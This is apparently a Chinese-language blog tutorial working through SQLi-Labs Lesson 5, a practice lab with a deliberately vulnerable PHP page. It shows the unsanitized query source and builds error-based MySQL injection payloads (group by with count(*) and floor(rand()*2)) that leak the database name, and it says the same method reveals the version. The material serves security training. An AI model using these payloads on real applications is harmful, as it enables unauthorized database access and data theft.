SQLi Labs Lesson5

Lesson-5 GET - Doube Injection - Single Quotes - String


首先进入欢迎界面


构造?id=1,结果如图所示


构造?id=2, id=3,(id由1到14),结果均如上图所示。


构造?id=1' ,结果如图所示。

很显然是因为$id右边本来有一个单引号,结果因为添加的单引号后,多出来一个单引号。

和以前将,构造 ?id=1' --+,将右边注释掉,结果如图所示。

还是没有任何信息显示。


构造?id=0,结果如图所示。

首先我知道数据库中是没有id=0的数据的,结果在界面上就没有任何信息显示。


我猜测是执行SQL语句后,如果SQL语句查询到匹配的数据就显示‘You are in.......’。

如果SQL语句没有查询到匹配的数据,就不显示任何信息。


查看后台php源代码。

<pre name="code" class="php">$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
 echo '<font size="5" color="#FFFF00">';	
 echo 'You are in...........';
 echo "<br>";
 echo "</font>";
}
else 
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";	
echo '<font color= "#0000ff" font size= 3>';	
}


 发现和我的猜测一致,当查询到信息后echo "You are in .......“。 

如果没有查到任何信息的话,就不显示任何信息。

当然如果查询有错误的话,会有错误回显。

那么怎么完成SQL注入呢?

只有利用错误回显了。

有些测试工程师发现,将group by与一个聚合函数一起使用,如count(*),可以将想要查询的内容作为错误信息返回。

首先看看MySQL下information_schema的利用(我转载的另一篇博客中有相关内容)。

select * from information_schema.tables;

此SQL语句返回当前用户可以查到的所有表的所有信息。

如果当前用户是root,那么就可以看到所有的表的所有信息。


select count(*) from information_schema.tables;

此SQL语句返回可以查到的表的数量。如图所示。



下面看如下SQL语句

select concat(database(), '#' , floor (rand()*2))as a from information_schema.tables;

执行后结果如下图。


显然一共有159个表所以共有159行security#0,或security#1。


如下SQL查询语句,

select count(*),concat(database(), '#' , floor (rand()*2))as a from information_schema.tables group by a;
group bycount(*)加入到上述SQL语句中,执行结果如图所示。



连续执行,观察结果。



发现出现了错误,而错误中刚好有当前数据库的名称 security。


接着在MySQL的命令行测试,如何构造URL完成SQL注入。



在Lesson-5的URL构造如下:

?id=1' and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) limit 0,1) --+

显示如下信息。



构造?id=1' and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) --+

结果如图所示:


刷新几次:


的到当前数据库为security。


同理可得到数据库版本,所在位置等信息。


  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值